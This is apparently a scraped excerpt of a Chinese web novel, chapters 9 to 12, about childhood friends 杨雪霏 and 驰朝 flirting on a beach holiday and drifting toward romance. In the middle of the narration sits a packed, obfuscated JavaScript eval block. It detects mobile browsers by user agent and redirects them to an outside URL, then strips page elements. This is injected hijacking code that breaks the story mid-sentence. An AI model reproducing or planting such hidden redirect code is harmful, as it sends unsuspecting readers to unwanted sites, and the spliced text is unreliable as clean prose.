杨雪霏理所当然道:“你都不知道别人都是怎么传谣的,之前还有人问我,说听说驰朝是你童养夫啊?我那叫一个五雷轰顶。” “还有一回,高二我有一次请了一个礼拜病假,回来瘦了一圈,居然有人说我是去给你生了个孩子!” “谁家孕妇生完孩子一礼拜就能下床啊!真无语!” “所以说呢,虽然我俩身正不怕影子斜,但每次有人误会都要解释一遍,还蛮费口水的,咱们还是尽量避免引起太大的误会。” “你说对不对呀?驰朝朝。” 她凑得太近了。 眼睛大大的,圆圆的,水灵灵的,嘴巴红红的,嫩嫩的,看上去软软的。 早就超出了安全距离,和她所说的,背道而驰。 他很想提醒她,不要只担心别人,也该想想他。 想想他一次又一次做白日梦,会有多难受。 可又没法不去想。 她说到后面,他其实已经没听进去,她在说什么了。 只是在想,如果没忍住,抬她的下巴,捏她的唇,看看是不是同想象中一样柔软,她会是什么反应。 杨雪霏有些无语,她一番长篇大论地慷慨陈词下来,唯一的听众居然在走神。 但想到他大抵是困了,就大方地原谅了他。 她话锋一转,这才说起此行的目的。 “昨天不是说要去沙滩那边拍照嘛,我看外边还是好晒,刚刚听群群说,酒店后边也有个沙滩,那边比较凉快,风景也不错,我们去后边拍吧?” 唯一的听众还在神游。 终于轮到杨雪霏揉太阳穴了,“算了,你先睡会儿吧,晚点我再过来叫你。” 杨雪霏吃完午饭,换上泳装,自个儿到酒店后头的沙滩玩去了。 比起酒店前面的熙熙攘攘,这里只有零零星星的游客。 这是杨雪霏第一次穿比基尼,她对这身装束很满意,迫不及待地想要出片,自己先捣鼓了几张。 但是自拍杆距离和角度有限,她拍了几张都不大满意。 许是注意到了她唉声叹气的样子,热心路人主动问:“需要帮忙拍照吗?” “哇,好啊,谢谢。” 驰朝找到杨雪霏时,她就穿了两片巴掌大的布料,风情万种地倚在椰树下,对着镜头飞吻,面前蹲着个拍照的年轻男人,看着就不怀好意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406741|184510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电话不接,微信也不回,合着在忙呢。 群群还没走,又来了个什么。 驰朝沉着脸,快步朝他们走去。 如果此时有他人旁观,一定会以为这是出正宫捉奸的戏码。 正宫还没来得及阴阳怪气,杨雪霏就看到了他。 她仍就着那副半倚的姿势,长长地吹了声口哨,笑得很流氓。 “呦,帅哥,身材不错嘛,认识认识?” 杨雪霏说的是实话,不包含一丝一毫的吹捧。 驰朝大抵是入乡随俗,只穿了条花花的沙滩裤。 土土的沙滩裤穿在他身上一点都不土,有了大长腿和八块腹肌的加成,潮得想搭讪的人都退避三舍,做成卖家秀也绰绰有余。 “怎么认识?” 他走近了,似笑非笑的表情。 热心路人不知是看出了他们相熟,还是担心打扰到这场艳遇,匆匆把手机还给杨雪霏,就走了。 驰朝到了她身旁。 杨雪霏闻到酒店那款薄荷味沐浴露的香气,心里奇怪道,驰朝不是补觉去了吗,怎么还有时间洗澡。 她这么想,也这么问出了口。 驰朝不自然地“嗯”了声,“空调制冷不好,有点热,睡醒冲了一下。” 是吗。 她中午去他房间,也没觉得空调制冷不好啊。 杨雪霏没多想,注意力都被他的好身材吸引去了。 不可否认,她对驰朝的感情,也没她说的那么单纯。 比方说,此时此刻,她就有点嫉妒驰朝。 瞧瞧这马甲线,要是能安到她身上就好了。 还有这腹肌,在光影下壁垒更分明了,不是很夸张的那种肌肉男,举手投足间偾张的荷尔蒙恰到好处。 是杨雪霏深夜里在视频软件刷到,会喊人家活菩萨的那种。 再往上看,胸肌引人注目,肤感很好的样子,杨雪霏已经在想,捏进去的话,是不是很快就会回弹到掌心了。 翻不出她五指山的驰朝朝,居然是她无法一手掌握的男人。 她一边痛骂自己龌龊,一边又想,她和驰朝朝那是什么关系。 啾啾都弹过了,还在乎这个吗。 说要在外面谨言慎行,减少误会的人是她。 此刻像流氓一样,从下往上用黏腻的目光审视驰朝的人,也是她。 驰朝咳了声,刚想提醒她,收敛点。 就看见她两眼放光,色眯眯地说:“驰朝朝,你咪咪好粉呀。” 驰朝的脑海“轰”地一下炸开。 他不是没被杨雪霏调戏过,但他没被杨雪霏这么露骨地调戏过。 杨雪霏眨巴眨巴眼睛,“驰朝朝,你知道的,你是我最好的朋友。” “你最好的朋友从来没有摸过胸肌,真的很可怜。”她摇了摇他的手,“你能不能可怜可怜她。” 语气可怜巴巴的,让人很难不为之所动,如果忽略内容的话。 见驰朝有所动摇的样子,她马上举起手指。 “我发誓,我就摸摸,不干别的!你放心,这件事天知地知你知我知,我不会告诉别人的。” 杨雪霏这才发现,驰朝的耳朵不知道什么时候红了。 “不是吧?你居然害羞了。”她一副憋笑的样子。 “谁害羞了?我这是热的。”他避开对视的目光,不大情愿似的,“你怎么这么流氓?” 他眼神一避,刚好落在她身上那少得可怜的布料上,在鲜艳的草莓红衬托下,重点很突出。 他眼皮一跳,还没来得及撇开眼,就听到她说:“你看哪呢?到底谁流氓呀?” 驰朝看下也不是,看上也不是,只好抬眼,撞进她满是坏笑的眸里。 原来在开玩笑。 软的不行来硬的,杨雪霏颠倒黑白、胡说八道、乘胜追击。 “啧,你一个大男人别扭扭捏捏了。你穿这么少,不就是给人看的……摸的吗?” 双标这个词,在杨雪霏身上体现得淋漓尽致。 驰朝拗不过她。 只要杨雪霏想,他就没法拒绝她。 从小到大,皆是如此。 杨雪霏见驰朝松口,摩拳擦掌、跃跃欲试。 驰朝扭开脸,提醒她,“公共场合,你收敛一点。” 杨雪霏义正词严,道貌岸然。 “你不要说得,好像我要怎么样你一样。你看人家小情侣在那里抹防晒霜,尺度比我们大一百倍,看看人家男孩子多淡定,你不要这么小家子气。” 如果忽略她邪恶的笑容,这段话会更有可信度。 杨雪霏觉得,自己已经很克制了。 她才用了一只手,捏了那么一次,虽然这一次捏得有点久。 手感太好了,弹力十足,让人流连忘返。和自己那团绵软,压根不是一种触感。 真的好粉呀。 杨雪霏舔了舔唇,“我有一个冒昧的想法……” 驰朝顺着她的视线看去,太阳穴突突地跳,“知道冒昧就别说了。” 杨雪霏砸吧砸吧嘴巴,表现得很失望,“真的不行吗?” “不行。”驰朝一副贞洁烈男的样子,“我把你当朋友,你居然想……你还是不是人啊。” 杨雪霏有点心虚,她道貌岸然地说:“话也不能这么说。” 但要怎么说,她也说不出个所以然来。 算了,再更进一步是有点冒昧了,万一驰朝要她负责怎么办,而且这是公众场合,确有不便。 就在杨雪霏意犹未尽地准备收回手时,身后传来颤颤巍巍的、不确定的声音。 “雪霏?” 杨雪霏视死如归地回头,和于思思面面相觑。 她看着于思思和一个男人十指紧握。 于思思看着她覆在驰朝胸前的手。 海风诡异地停滞了下来。 杨雪霏先发制人,“这就是你读幼儿园的小表弟?” 于思思沉默了几秒,一脸一言难尽的表情。 “要不,你还是先说说,你和驰朝这是在干嘛吧?” 10. 第 10 章 杨雪霏懊恼自己一时色欲熏心,这回可是跳进黄河也洗不清了。 于思思语重心长地说:“我说你俩也真是的,这里离酒店也就几步路,这么着急做什么?” 杨雪霏睁眼说瞎话,“你胡说八道什么,我刚刚在给驰朝抹防晒霜呢。” 她瞪大眼睛,没什么威慑力地警告道:“不许在外边乱讲!” 于思思伸手在嘴上缝了个拉链,意味深长地说:“我懂,我懂,我会为你们保密的。” “哎呀,都说了没有了。”杨雪霏有点恼羞成怒了。 驰朝见状,淡淡地补了句,“确实没有。” 于思思似乎相信了,“好吧。” “你这么失望干嘛?”杨雪霏谴责道:“还有啊,为什么我说你就不信,驰朝说你就相信,你怎么还胳膊肘往外拐。” 于思思嘀咕道:“谁让你经常满嘴跑火车。” 杨雪霏听见了,和她互相伤害起来。 “到底谁在满嘴跑火车呀?我让你陪我出来玩,你还骗我说,要在家里带娃,连我要去哪里都没问。” “好啊你。”杨雪霏想到什么,盯着于思思和张不凡紧握的十指,“难怪你说驰朝在骗人,你们不会已经……” 杨雪霏震惊地捂嘴。 于思思的脸一下红了,支支吾吾,欲言又止。 最后,还是驰朝和张不凡交换完眼神,拉着杨雪霏走了。 “好了,别打扰人家谈恋爱了。” 直到看不到他们的人影,驰朝才停下来,杨雪霏还沉浸在这个惊天八卦中。 见驰朝一脸淡定,她狐疑地打量了驰朝好一会儿。 “他俩啥时候好上的?” “应该是于思思生日那晚。” “你是不是早就知道了?” “没。我刚刚和你一起知道的。” “那你怎么一点都不震惊?!本来他俩在一块,就已经够震惊我了,进度还那么快……” 比起他十八年没有动过的进度条,张不凡这速度可谓是坐火箭了,驰朝想不明白,他比张不凡差在哪里。 杨雪霏嘀嘀咕咕。 “应该就是单纯在一块了,也没那啥吧,看到腹肌也不等于那啥了。” “就像我,不仅看了你的腹肌,我还没摸了你的腹肌呢,那我俩也没那啥啊。” 她越说越肯定,“应该是我想多了。” 驰朝有时候觉得,杨雪霏单纯得过分。 人家脖子上的草莓、肩膀上的牙印、后背上的咬痕,明晃晃地抓眼,她怎么会没注意到。 杨雪霏说着说着,终于抓住了重点。 “对哦!你为什么骗我?!还说张不凡肚子上全是肥肉,亏我那么相信你!” 驰朝一点也不心虚,“我之前看到的时候,确实全是肥肉,可能是最近刚练的。” 杨雪霏半信半疑。 一个下午。 杨雪霏换了五套泳装,拍了不下两百张照片。 “要突出重点哦。”她用指尖从上到下描摹着腰线和臀线,示意蹲在面前的驰朝好好表现。 过了会儿。 重点换了,她坐在礁石上,手掌支着礁面,岔开两条大长腿。 “这条腿稍微好看点,你从这个面拍哦。” 又过了会儿。 重点又换了,她俯身向前,双手支着膝盖,绵软的两团半包在蓝色碎花泳衣下,自然而然地夺目。 “驰!朝!朝!别偷懒了,你能不能看相机呀!一直摆这个姿势很累诶。” 驰朝这才艰难地收回欲盖弥彰望向他处的视线,对着相机看了不到几秒,就听到杨雪霏一声尖叫。 “啊!驰朝,你流鼻血了!你快把头仰起来。” 杨雪霏着急地上前。 驰朝仍就着半蹲的姿势,听话地仰着头,而她焦急地站在他面前,俯身用纸擦他人中的血。 骤然模糊的世界,只余触目惊心的晃动的白。 驰朝一阵头晕目眩。 因为驰朝临时出了状况,杨雪霏不好抛下他独自去看日落,只好再三向陈群道歉,留在酒店照顾他。 贴心的雪霏让驰朝喝粥,他还不乐意。 杨雪霏模仿林珍,有样学样地数落他。 “瞧瞧,难怪会流鼻血,大夏天的,清淡的东西是一点吃不得了?就你嘴馋。” 驰朝一噎。 杨雪霏转头去调空调,对着手机,有模有样地研究了大半天。 “我喝,你喂我。” 杨雪霏听他声音气若游丝,连忙转头,惊疑不定地看了他好一会儿。 她探了探他的额头,“也没发烧啊?” 驰朝有气无力,“头晕。” 杨雪霏看了他半天,“你是流鼻血了,手还能用呀?怎么还要人喂?你不会……是在打击报复我吧?” 驰朝不说话。 两人你看我,我看你。 杨雪霏气笑了,“行吧,毕竟事情因我而起。” 她觉得,是自己在高温天气下,折磨了驰朝一下午,让他一会儿这样,一会儿那样。 那张拍得不满意,这张拍得也不算满意,把驰朝气得流鼻血了。 心里还是有点心虚的。 哪想到驰朝倒是一点也不客气,就差把她当仆人使唤了。 驰朝听下来都乐了,“谁家仆人天天胆大妄为、以下犯上,谁家主人这么低三下四、言听计从。” 杨雪霏端起碗,舀了一大勺就往他嘴里送,“吃你的吧。” 饶是仆人鼻子不是鼻子、脸不是脸,像随时会殴打老人的无良护工,主人还是心满意足地吞了下去。 上一次有这个待遇,还是什么时候呢。 是春节那会儿家庭聚会时,杨雪霏她妈逼她吃脑花,说要给她补补脑。 杨雪霏当然没吃,趁她妈没注意,全都一股脑塞驰朝嘴里了。 驰朝一吃进去就想吐,但林珍这时候又看过来了,还夸杨雪霏今天这么乖。 杨雪霏一边毫不心虚地挺胸,其实也不是那么难吃。 一边瞪驰朝,警告他不许吐出来。 比起脑花,眼前的粥,也不算难以下咽。 驰朝吃得很干净。 到了夜里。 杨雪霏刷了会儿手机,就有点坐不住了,时不时往窗外看。 驰朝状似不经意地问:“于思思找你?” “不是啦。”杨雪霏说:“群群说晚上可能会有蓝眼泪,问我们要不要一起去追泪。” 百度上是这么解释蓝眼泪的,说它是海洋中夜光藻或海萤等浮游生物受扰动时,发生的蓝色荧光现象。 除此之外,杨雪霏只在短视频中了解过它。 虽说海晏也是沿海城市,但不是每片海域都有形成蓝眼泪的条件。 驰朝知道,杨雪霏对此满怀憧憬。 他不是非要把她绑在这里,早在来之前,他就在研究追泪路线了。 杨雪霏低头敲手机,“我和他说不去了。” 等她发完消息,驰朝才说:“就流个鼻血而已,我已经没事了。” 好像傍晚还半死不活的人,不是他一样。 杨雪霏挥挥手,“算了,你别逞能了。” 驰朝坚持说自己已经没事了,还下床走了几步。 杨雪霏不信。 谁让驰朝从小到大都爱逞能,远的不说,就说去年吧。 两人放学路上,偶遇同年的全民马拉松大军。 杨雪霏看到立牌宣传,跑完全程42公里,就能挑选一款本次合作明星的限定周边,其中包括她喜欢的男歌手云霁。 她一眼就看中了云霁的限定周边,于是当场脱下校服,丢给驰朝保管,自个儿现场报名,整装待发。 彼时,她还没有自知之明。 “你先回去吧,看到我妈,跟我妈说,我晚点回去。” 驰朝没走,也报了个名,说要陪跑,免得她晕倒在路上,都没人喊救护车。 驰朝不信任的表情,狠狠刺痛了杨雪霏为数不多的自尊心。 她暗暗发誓,一定要让驰朝刮目相看。 就是这种信念感,让她足足坚持了……两公里。 至于后来的四十公里,都是驰朝独自跑完的。 杨雪霏如愿拿到了云霁的周边,而驰朝因未热身就剧烈运动,导致肌肉拉伤,足足一个月没法打球。 杨雪霏想,如果驰朝像她一样,懂得知难而退就好了,其实那个周边,也没那么重要。 而驰朝想的是,杨雪霏还在等他,他得再快一些。 吸取了经验教训。 杨雪霏死活不去追泪,说,算了吧,你还是好好休息吧,反正要待很多天,还有机会,你别为了陪我瞎逞能。 驰朝说,我也想去看,跟你没关系。 饶是驰朝拿出了早就做好的追泪攻略,杨雪霏还是半信半疑。 她想不明白,几个小时前还虚弱得连坐着看日落都困难的人,现在,怎么就可以生龙活虎地满图跑了。 杨雪霏坚决地摇头。 “不是你想不想的问题,是你行不行的问题。你也做了攻略,知道蓝眼泪是小概率事件,我们得跑多少个海滩才能追到啊……” 驰朝在听到那句“行不行”时,就想开口了,但还是听她说完了。 “我行。” 杨雪霏:“……” 一看杨雪霏那质疑的表情,驰朝就忍不住了。 他二话不说,身体力行地证明自己确实行。 “行了行了。”杨雪霏连忙阻止他,“你行你行,你最行,行了吧。没事做什么俯卧撑啊。” 驰朝这才慢慢悠悠地起 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共享单车连车灯都没有,只能就着微弱的月光和路灯前行。 不知是谁先开口的,人们一路高歌,唱起应景的朋友一生一起走。 杨雪霏也在唱。 他们并排前行,迎着浪潮似的海风。 不知怎的,明明该是无比欢愉的时刻。 杨雪霏却忽然生出了一种惶恐。 她借着月光,偷偷看向驰朝,看向那张烂熟于心的脸。 他正被她逼着一起合唱,不大乐意的样子,好像这歌会影响他的格调,每个字却都在调上。 又看看前排,几乎都是三五欢声笑语的年轻好友,孤孤零零的中年人十分稀少。 她不禁想,等她到了那个年纪,驰朝朝还会在她的身边吗。 驰朝听到,杨雪霏本来打了鸡血的歌声骤然变低,敏锐地察觉到了她的情绪。 他望向她,只见她一脸恍惚。 这是怎么了。 “驰朝朝。”杨雪霏忽然喊他的名字。 “嗯。” “你说,十年之后你会在什么地方?” 在杨雪霏身边。 驰朝在心底说。 可他不能这么说,他只能故作自恋地逗她开心,“怎么?你还怕见不到我?” 没想到,杨雪霏很认真地点了点头,转而看向他,“是啊。” 驰朝心头一动,还没来得及说什么,又听杨雪霏自说自话。 “算了,你到时候肯定要在家里陪老婆孩子,我可不能那么没眼力见,没事就叫你出来。” 杨雪霏总是刷到短视频说,弟弟妹妹就是天生的专属仆人。 杨雪霏没有弟弟妹妹,但她一点也不羡慕人家。 虽然杨雪霏她妈没给她生一个专属仆人,但驰朝他妈给她生了个专属仆人。 既不用分走她的爱,又给她带来了另一个家庭的爱。 而将来,她的专属仆人驰朝朝,总有一天会变成别人的专属仆人。 恋爱和结婚,在杨雪霏看来,有所不同。 恋爱可以一拍即散,而婚姻意味着责任和边界。 杨雪霏知道,驰朝是多么一个有责任感的人,如果他有了自己的家庭,绝不会陪她在外边瞎闹腾。 况且,和有妇之夫单独出行,饶是清者自清,也少不了瓜田李下的嫌疑,既没必要,也不妥当。 杨雪霏是这么想的,也是这么说的。 驰朝不理解,“怎么说着说着,我就成有妇之夫、超级奶爸了,我还是黄花大闺男好吗?” “迟早的事。” 杨雪霏想到什么,“啧”了声,“就你这模样,到大学就得给人生吞活剥了。” 她煞有其事地提醒,“你可别还没毕业,就整出什么孩子,我还不想这么早当阿姨。” 驰朝一哽。 如果把“阿姨”换成“妈”,这句话或许会更中听一些。 他“啧”了声,“你能不能盼着点我好?” 说来说去,又说回最初的问题。 杨雪霏伤感地望天,“反正人和人的关系终有离散,到时候陪在我身边的人,就不是你了。” 驰朝:“……” 怎么越说越不中听了。 驰朝斟酌着语句,用一种很轻松的玩笑的语气。 “这么舍不得我?那要不,咱俩凑合凑合?” 杨雪霏懵了,连踏板也不踩了,缓缓地看向他。 他也跟着停下,就这样定定地看她。 那双时常似笑非笑的眼,这会儿认真得过分,杨雪霏找不到一丝玩笑的痕迹。 11. 第 11 章 时间在这一刻被拉得很长。 来往的单车匆匆,只有他们定格在原地。 杨雪霏听着人们高歌的“那些日子不再有”,差点就神差鬼使地说了什么。 但也只是差点。 好半晌,她才瞪圆了眼睛,结结巴巴地说:“你、你……你想得美!” 驰朝扯了扯唇,故作轻松地说:“怎么?不是你说的喜欢185八块腹肌,跟我在一块,还委屈你了?” 杨雪霏悄悄松了口气。 “这能一样吗!”她拔高了音量,“咱俩在一块,跟乱/伦有什么区别!” 骑车经过的游客,好奇地打量他们。 杨雪霏意识到自己过于激动,降低了音量,郑重其事道:“总之,就是不可能。” 她夸张地抖了抖身上的鸡皮疙瘩。 “你能不能不要,忽然说这种没谱的话呀,我本来正伤感着呢,给你吓死了。” 背景音又循环至高潮,人们高歌着“那些日子不再有”,很难不让人动容。 杨雪霏见驰朝有些落寞的样子,安慰他说:“我知道你也是舍不得我,才那么说的,真的没有必要。” 她期待地看着他的反应。 都这样了,驰朝还能说什么呢。 说不是凑合,说不是因为舍不得,又然后呢。 驰朝尽量笑得不那么牵强,像是放弃什么无关紧要的东西,不以为意地“嗯”了声,好不叫她失望。 杨雪霏长长地舒了口气。 心里怪自己这破嘴,没事扯什么有的没的,扯什么十年后,本来是想聊点哲学的,结果都什么乱七八糟的。 他们继续前行。 到了东郊海湾。 因为不是旅游博主预测的蓝眼泪爆发区,所以游客寥寥无几。 杨雪霏爬上礁石,见驰朝还站在下边,拍拍身边的位置,挥手喊他。 他们并排坐着,迎风望海。 夜里看海,和白日看海,完全天差地别,是只有海浪拍打的静谧,和碧海蓝天的喧嚣的区别。 杨雪霏笑着说:“坐在这里其实也蛮惬意的,不然我们今晚就不要到处跑了,就在这里等开奖吧?” 驰朝看她不像是在开玩笑,佯装不经意地问:“你的群群呢?还没来?” 她朝他一笑,长发被海风吹得飞扬,有种不同寻常的温柔,“我没和他约。” 驰朝没让自己表现得太明显,他尽量平静地挑眉。 “哦?我还以为你约好了。” 杨雪霏看他这样子就想笑。 她没忍住上手,提了提他的唇角,“好啦,知道你喜欢二人世界,就没约他们。” 驰朝傻傻地看她,“真的?” 杨雪霏笑他,“幼稚鬼。” 是幼稚鬼,也是醋精。 她只听说爱情容不下第三者的,可对驰朝来说,友情也是如此,他谁的醋都吃。 也是没谁了。 她不禁想,就驰朝这小心眼,要是谈了恋爱,不得天天暴走,肯定还要管东管西,这个不准,那个不让。 只要这么一想,杨雪霏就有点同情她了。 驰朝大大方方地承认,“嗯,我幼稚。所以你多让着我点。” 他也不记得,他们多久没有这样安宁的时刻了,她的世界只有他的时刻。 如果让杨雪霏知道他的内心活动,一定十分无语。 明明也没有多久嘛,实在要说的话,今天他们也独处了一天了。 可驰朝要的不仅如此。 他太贪心了,不满足于只是朋友的关系。 不想听她刚亲昵地叫完驰朝朝,就提什么群群、思思。 这会让他觉得,在她心里,他们并没有什么本质的区别。 最好的朋友,听着也就比“要好的朋友”,重要那么一点。 杨雪霏和驰朝漫无目的地聊着天,想到哪句说哪句。 她和驰朝在一起,不需要回避任何话题,他们知而不言,毫无保留。哪怕是父母吵架,也没什么不能说的。 他们是天然的同盟,从出生起,命运就紧紧地缠绕在一起。 杨雪霏突然很好奇,“喂,驰朝朝,你有没有什么秘密瞒着我?” 驰朝一开始没承认,“没有。” 杨雪霏注意到了他的迟疑,穷追不舍。 “不可能!你刚才犹豫了。你快说呀,到底是什么秘密?” 她旺盛的好奇心,注定她不会善罢甘休。 杨雪霏就这样用她亮晶晶的双眼,天真无邪地看他。 驰朝回避了她的视线。 “没什么。” “你说嘛,驰朝朝,我保证不告诉别人。” “真没什么。” 他不无心酸地想,你当然不会告诉别人,你会巴不得全世界没有人知道,好继续维持风平浪静的表象。 杨雪霏才不信,软磨硬泡,软硬兼施。 驰朝实在没了办法,“你真的想知道?” 杨雪霏从他眼中,看到了一些她读不懂的情绪,直觉告诉她,最好到此为止。 她没犹豫太久,“你说吧。” 驰朝几度启唇,在她期待的目光下,终于下定了决心。 “其实我……” 就在这时,远处传来兴奋的叫声。 杨雪霏赶紧起身,望向海面。 只见海平线的浪花裹挟着无数的蓝色荧光,由远及近,汹涌而来。一下点亮了漆黑的夜,也点燃了静谧的夜。 一时间,萤火蓝与海浪白铺天盖地,拍浪声与尖叫声不绝于耳。 驰朝跟着站起来,杨雪霏兴奋得跳进驰朝怀里,很用力。 驰朝担心她掉下去,把她托得很紧。 她的双手越过他的头顶,高高举起,小腿一摇一摇的,跟着别人啊啊呜呜地怪叫,可爱得要命。 驰朝能感受到她胸膛的震动,心脏与此同时地共振。 杨雪霏很快想起他们还在礁石上,又挣扎着从他身上跳下去,一气呵成地打开包,戴上贝壳项链,往下爬。 驰朝这才收回空落落的掌心。 “哇,我们运气真好呀。”她感叹。 “是啊,运气真好。”没让他的冲动出口,他也感慨。 杨雪霏美美出了片。 分别发给了一众好友,于思思回得最快—— 【!!】 【你脖子上那一串贝壳哪里捡的!我今天在浪浪湾找了大半天,一颗都没看到。】 杨雪霏:【咦,我还以为每个海滩都有呢,原来和蓝眼泪一样,可遇不可求呀。】 于思思了然:【得,不是你捡的啊,我就说你哪有那耐心。难怪我捡不到,原来早就被驰朝洗劫一空了。】 杨雪霏回了个得意的表情。 于思思恳求:【我也好想要,送我两颗嘛,我拿去做挂坠。】 杨雪霏没犹豫:【不行诶。】 于思思很执着:【一颗也行呀,别逼我求你。】 杨雪霏偷偷看驰朝,被驰朝当场发现,“怎么了?” 她如实说:“思思想要一颗贝壳,在求我呢。” 驰朝难得见她这么乖巧的神情,没忍住揉了揉她的发顶。 “一颗贝壳而已,又不是什么稀罕东西,我再去给你捡。” 杨雪霏点头。 低头却回道:【真的不行啦,不是我不想给你,你也知道驰朝很小气的。】 于思思想想也是,这才作罢。 回到酒店,已经凌晨两点半了。 杨雪霏躺在床上,握紧手中的项链,不知想到了什么,有些失神的样子。 第二天,杨雪霏起床,果然看到门把手上又多了一串贝壳。 不只是心形的。 各种奇形怪状、五花八门的,是一堆杨雪霏叫不出的学名,唯一相同的是,都很漂亮、罕见,且符合杨雪霏的审美。 她静静悄悄地进了驰朝的房间,饶是小心翼翼,还是惊醒了他。 驰朝连眼皮也没掀,就知道是她,“几点了?” “早着呢,你再睡会儿。” 驰朝补觉的时间里,她一直趴在沙发上玩手机,于思思发来了一个斗地主链接,说三缺一,很急。 杨雪霏点进去,里面已经有两名玩家了,一个于思思,一个张不凡。 杨雪霏:【……】 杨雪霏:【合着你们缺的是我这个地主,不带这样欺负单身狗的。】 于思思大言不惭:【你说这话也不心虚,你想想 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于思思下线了,一去不复返,只留下对这种类似出老千行为的谴责。 就在这时,驰朝的手机弹出新消息提醒。 临近志愿填报,杨雪霏担心他错过什么重要的事,于是点了进去,消息是蒋宇发来的。 之后。 他们又在南壁岛玩了两天。 杨雪霏和驰朝说:“我想我妈了,想早点回家了。” 驰朝奇怪道:“昨天不是还说,想去学冲浪吗?” 杨雪霏看了他一会儿,摇摇头。 “昨天是昨天,今天是今天,突然又没兴趣了。现在蓝眼泪也看了,潜水也玩了,感觉也没什么好玩的了。” 她叹口气道:“而且群群他们今天也要回去了。” 也是在这时。 驰朝才知道,前两天杨雪霏白日让他作陪,拍照拎包,摇扇送水。 而到了夜里,自称要玩会儿手机,而后睡觉,实际上是偷偷和陈群出去,看星星看月亮了。 他气得够呛,“怎么着,他就能花好月圆、风花雪月,我就只配晴天暴晒、拍照打卡?” 杨雪霏支支吾吾地狡辩,“不是这样的。” 敷衍得很,说不出个所以然来。 驰朝等了半天,也没等到合理的解释,简直想痛批杨雪霏渣,但完全没有合适的身份。 所以,还能怎么办呢。 他告诉自己,杨雪霏只是贪玩了些,认识新朋友有些新鲜感很正常。 等回了海晏,杨雪霏自然就把陈群抛之脑后了。 而只有他,仍在她的身边。 他们走得仓促,当天便回了海晏。 杨雪霏的大包小包很多,除了去时的裙裙裤裤、瓶瓶罐罐,还多了几袋南壁岛的晒干海特产。 当然了,只要有驰朝在,就没有杨雪霏拎包的机会。 驰朝送杨雪霏回家,她一进门就喊“妈”,没人回应,家里空落落的,她有些失落。 驰朝若有所思,“好久没看到你爸了。” 杨雪霏倒到沙发上,疲倦地闭上眼。 “我爸都不知道多久没见人影了,我妈最近也神龙见首不见尾的,搞不懂他们。” 驰朝没急着走。 帮她把脏衣服丢进洗衣机,瓶瓶罐罐摆回梳妆台,其他杂七杂八的东西原封不动地摆回原位,忙前忙后了许久。 等到洗衣机发出“滴”的声音,他晾完衣服,离开之前,走到沙发旁边看她。 她侧着睡着了,呼吸很匀称,怀里抱了个小熊枕头,双腿屈着,看起来别提多乖巧了。 乌黑的头发全无点缀,清秀的小脸素面朝天,凌乱的发丝挡住了小半张脸。 驰朝俯下身,轻轻抬手,手指缠住她的发丝,别至耳后。 他静静地看了她很久。 直到手机传来震动提醒,他才忽然清醒似的,起身离开。 大门被小心地关上,仍是不可避免地发出了“吱呀”的响声。 沙发上的女孩轻轻颤了颤睫毛。 12. 第 12 章 杨雪霏睡醒了,就往驰朝家跑。 驰朝被打发去他爷爷家送东西了,这会儿,还没有回来。 杨雪霏也没在意,搂住张婉娴的腰,亲亲热热地说起小话。 张婉娴对着她的头,摸了又摸,简直爱不释手。 早在驰朝和杨雪霏小的时候,听到隔壁院子里娇娇嗲嗲的撒娇声,再看看,被揉来揉去也毫无反应的小驰朝。 她就不止一次幻想过,要是杨雪霏是她的女儿多好。 彼时,林珍也是一副同样的表情。 母慈女孝只是偶然现象,鸡飞狗跳才是日常生活。 张婉娴夸杨雪霏的新发卡好看,“妈妈给你买的?” 银色徽标在灯光下闪闪发亮。 杨雪霏顿了顿,噘噘嘴,“哪能呀,别人送的啦。” 虽说杨雪霏家现在经济条件还算不错,但据说在她出生前,她家穷得那可不是叮当响,而是叮叮当当地响。 她父母爱情长跑了七年,才从出租屋到大别墅,从窝窝头到顿顿有肉。 由于早年过惯了苦日子,价值观已经定型,他们能理解花几十万块钱去上培训班,却理解不了花几千块钱买一个发卡。 张婉娴敛了敛笑意,心道不好。 她装作若无其事的样子,“嗯?是不是谈恋爱了?偷偷告诉我阿姨,阿姨不告诉别人。” “没有啦。” 张婉娴追问:“那是谁送的,男生还是女生?” 杨雪霏渐渐露出疑惑的神情,“是男孩子啦,怎么啦?” 张婉娴这才发现,自己的语气太过急切了。 她微微一笑,拢了拢头发。 “你涉世未深,还不懂外面那些弯弯绕绕,人与人的交往,往往都是带有目的性的,俗话说得好,无事献殷勤,非奸即盗。雪霏这么单纯可爱,阿姨很担心你被人骗跑……” 张婉娴住了嘴,她在说什么,什么叫被人骗跑。 还好杨雪霏没注意这小小的细节,她一脸迟疑,“不会吧,他人挺好的。” “他在追你?” “没有呀,他不喜欢我,我们就是朋友啦。”杨雪霏摇头。 张婉娴拍了拍大腿,“他绝对喜欢你!你要相信阿姨的判断。” 她分析道:“对你们这个年龄段的男生来说,这不是一笔小数目。它可以是戒指,是项链,却唯独不能是发卡。” 杨雪霏歪头,“为什么不能是发卡?” 张婉娴脱口而出,“因为这意味着,你对他来说,是需要用心对待的,是不需要计较得失的。” 想到自己是在搞破坏,而不是让他们感情升温,她话锋一转。 “这个男孩绝对另有所图。不过话说回来,喜欢却不敢直言,这算什么,归根到底还是不够喜欢罢了。” 差点坏心办了好事,张婉娴想,还好她挽救得及时。 杨雪霏失神道:“如果他真的,别无所求呢。” 杨雪霏前脚刚走。 驰朝后脚就回来了。 张婉娴见他那不争气的样子,气就不打一处来。 驰朝见她面色古怪,象征性地问了句,“有事?” 张婉娴更气了。 驰朝问:“什么事?” 张婉娴长吁短叹。 驰朝:“?” 张婉娴一脸同情。 驰朝:“……?” “不说算了。”驰朝也没在意,抬步往楼上走。 却听张婉娴幽幽道:“你媳妇不要你喽。” 驰朝顿足,回眸,蹙眉,“什么?” “你别装了。你骗得了别人,你骗得了你妈我吗?别和我说,你天天跟在雪霏后边转,就为了当普通朋友。” 两人关注的根本不是一个重点,驰朝问:“什么叫不要我了?” 